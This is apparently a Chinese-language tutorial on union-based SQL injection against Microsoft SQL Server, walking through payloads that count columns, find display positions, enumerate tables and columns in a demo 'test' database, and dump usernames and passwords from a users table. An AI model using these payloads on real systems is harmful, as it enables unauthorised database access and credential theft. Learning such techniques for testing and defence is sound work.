sql注入之sqlserver联合查询注入

条件:
有显示位
判断列数:
?id=1 order by 3
sql注入之sqlserver联合查询注入
判断显示位:
?id=1 union select null,null,null
sql注入之sqlserver联合查询注入
查看数据库:
?id=1 union select 1,‘2’,db_name()
这里注意1,‘2’,db_name()的数据类型必备与数据库存储的数据类型一致
sql注入之sqlserver联合查询注入
查看数据库有哪些表,U:用户的表
?id=1 union select null,name,null from test.sys.sysobjects where xtype = ‘U’
sql注入之sqlserver联合查询注入
第一个表名为aaa,查看第二个表名,依次类推
?id=-1 union select top 1 null,name,null from test.sys.sysobjects where xtype = ‘U’ and name !=‘users’ and name !=’…’
sql注入之sqlserver联合查询注入
查看对应表有哪些列
?id=-1 union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’);
sql注入之sqlserver联合查询注入
第一列为id,查看第二个表名,依次类推
?id=-1 union select top 1 null,name,null from test.sys.syscolumns where id = object_id(‘users’) and name !=‘id’ and name !=’…’;
sql注入之sqlserver联合查询注入
查看账号密码信息
?id=-1 union select top 1 null,username,password from users
sql注入之sqlserver联合查询注入
第一个用户为zs,查看下一个用户,以此类推
?id=-1 union select top 1 null,username,password from users where username !=‘zs’ and username !=’…’
sql注入之sqlserver联合查询注入